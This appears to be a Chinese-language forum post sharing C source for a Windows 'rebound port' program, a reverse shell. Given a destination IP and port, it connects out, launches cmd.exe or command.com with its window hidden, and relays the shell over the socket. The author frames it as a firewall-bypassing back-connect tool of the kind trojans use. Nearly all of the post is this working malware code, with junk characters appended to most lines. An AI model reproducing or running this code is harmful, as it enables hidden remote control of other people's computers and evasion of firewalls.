这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3
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/* ============================== x )wIGo
Rebound port in Windows NT zlmb_akJ
By wind,2006/7 sH(AsKiNKe
===============================*/ >WMH.5p
#include kE tYuf^
#include Lnnl++8Y
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#pragma comment(lib,"wsock32.lib") cjf}yn
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void OutputShell(); mfO:#]K
SOCKET sClient; zm}4=Kz}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N0h"EV[
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void main(int argc,char **argv) R ;^[4<&
{ R/M:~h~F!
WSADATA stWsaData; ur-&- G^
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; <`sVu
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if(argc != 3) `Y-uNJ'.N
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); >A|6kzC
return; h3D8eR.
} *Wv]DV=\
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WSAStartup(MAKEWORD(2,2),&stWsaData); XB-pOtVm
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A+3@N99HeH
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stSaiClient.sin_family = AF_INET; Zr_{Z@IpU
stSaiClient.sin_port = htons(0); MI|DOp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C_?L$3 U0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *A`hKx
{ |QJ!5nb
printf("Bind Socket Failed!\n"); Z.$ncP0s
return;
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} 3=1aMQ
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stSaiServer.sin_family = AF_INET; o|Obl@CSBD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mCe,(/>l+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v8,+|+3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oYnA 3
{ _/ZIDIn
printf("Connect Error!"); nbMnqkNb
return; VcT(n7
} 'i_od|19~h
OutputShell(); k/O|ia6
} =Z iyT$p
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void OutputShell() B=#rp*vwL
{ X3I\O,"I
char szBuff[1024]; T5&jpP`M
SECURITY_ATTRIBUTES stSecurityAttributes; Eu\&}n`i
OSVERSIONINFO stOsversionInfo; @#1k+tSA,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )H#Hs<)Qy
STARTUPINFO stStartupInfo; ErJi
char *szShell; ' eO4h^
PROCESS_INFORMATION stProcessInformation; 1agyT
unsigned long lBytesRead; r80w{[S$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9]BpP0f\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s2iR }<
stSecurityAttributes.lpSecurityDescriptor = 0; RG[3LX/
stSecurityAttributes.bInheritHandle = TRUE; ~d ~$fR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s<|.vVi"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O82T| 0uw
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?UoA'~=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1?`,h6d*=
stStartupInfo.wShowWindow = SW_HIDE; q*TH),)J
stStartupInfo.hStdInput = hReadPipe; "0+_P{w+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @P6K`'.0
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GetVersionEx(&stOsversionInfo); MZZ4
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switch(stOsversionInfo.dwPlatformId) =-~82%
{ MFaK=1
case 1: ]<A|GY0q1
szShell = "command.com"; Z,qo
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break; |dpOE<f[
default: v&i M/pJU
szShell = "cmd.exe"; u }D.yI8
break; bQow,vf
} 2J^6(vk
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y. @7aT5
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send(sClient,szMsg,77,0); 9`i=kp
while(1) s<H0ka@
{ RtGETiA\b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'N)&;ADx-G
if(lBytesRead) cfMj^*I
{ uI@:\Rss
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FEw51a+V
send(sClient,szBuff,lBytesRead,0); 5Jd&3pO
}
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else 4\x'$G
{ :Sk0?WU
lBytesRead=recv(sClient,szBuff,1024,0); rJ]iJ0[I
if(lBytesRead<=0) break; R8F[
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y2!OJuyGc
} j?29_Az
} C,hs!v6
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return; `MlQPLH
}